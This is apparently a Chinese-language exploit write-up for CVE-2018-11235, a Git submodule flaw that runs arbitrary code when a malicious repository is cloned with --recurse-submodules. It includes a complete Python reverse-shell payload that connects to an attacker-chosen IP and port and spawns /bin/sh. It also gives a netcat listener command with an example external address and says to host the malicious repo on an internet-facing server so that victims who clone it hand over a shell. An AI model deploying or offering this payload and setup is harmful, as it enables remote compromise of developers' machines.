漏洞利用标题: Clone and Pwn
日期: 2018年6月4日
漏洞利用作者: Alejandro Caceres
厂商主页: https://git-scm.com/
软件链接: https://git-scm.com/downloads
版本: 在 Git 2.13.7 之前、2.14.x 早于 2.14.4、2.15.x 早于 2.15.2、2.16.x 早于 2.16.4 以及 2.17.x 早于 2.17.1 的 git 客户端版本上可执行任意代码
测试环境: Linux: Ubuntu, Mint, MacOSX
CVE : CVE-2018-11235
CVE-2018-11235, 这里称为 clone and pwn, 会创建一个利用 git 中漏洞的恶意 git 仓库。当使用 --recurse-submodules 标志克隆该仓库时, 会在 Git 2.13.7 之前、2.14.x 早于 2.14.4、2.15.x 早于 2.15.2、2.16.x 早于 2.16.4 以及 2.17.x 早于 2.17.1 的 git 客户端版本上执行任意代码。
要使用此模块, 只需将其放在具有直接互联网访问权限的服务器 (例如 AWS、Digital Ocean) 上, 然后打开 evil.sh。它看起来类似如下内容:
#!/usr/bin/python
EXTERN_IP="127.0.0.1"
EXTERN_PORT=8080
#reverse shell to IP EXTERN_IP and port EXTERN_PORT
import socket, subprocess, os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect((EXTERN_IP, EXTERN_PORT))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"])
将 EXTERN_IP 和 EXTERN_PORT 设置为你希望接收反向 shell 的 (外部) IP 和端口。可以通过类似以下方式接收反向 shell:
nc -l <EXTERN_IP> EXTERN_PORT 例如 nc -l 193.23.23.32 8080
或者使用 Metasploit 的通用 shell 模块。一旦用户执行了命令 git clone --recurse-submodules git://<your ip>/repo dest_dir, 你将会收到一个反向 shell。
如果多次运行 (或一次失败尝试后) 遇到问题, 请检查以下事项:
ps aux | grep git 检查进程, 确保你没有已经在运行 gitdaemon。结束所有 gitdaemon 进程。代码源自 @peff 的 git 补丁 (参见 t/t7415-submodule-names.sh 测试文件)。
因此, 本仓库以 GNU 通用公共许可证第 2 版发布。
针对旧版本 git 的额外修复由 @atorralba 提供 (详情见此文)。
本脚本改编自 https://github.com/Rogdham/CVE-2018-11235, 向原作者致敬并致谢。
=======
利用 CVE-2018-11235
作者: @_hyp3ri0n 和 @mehaase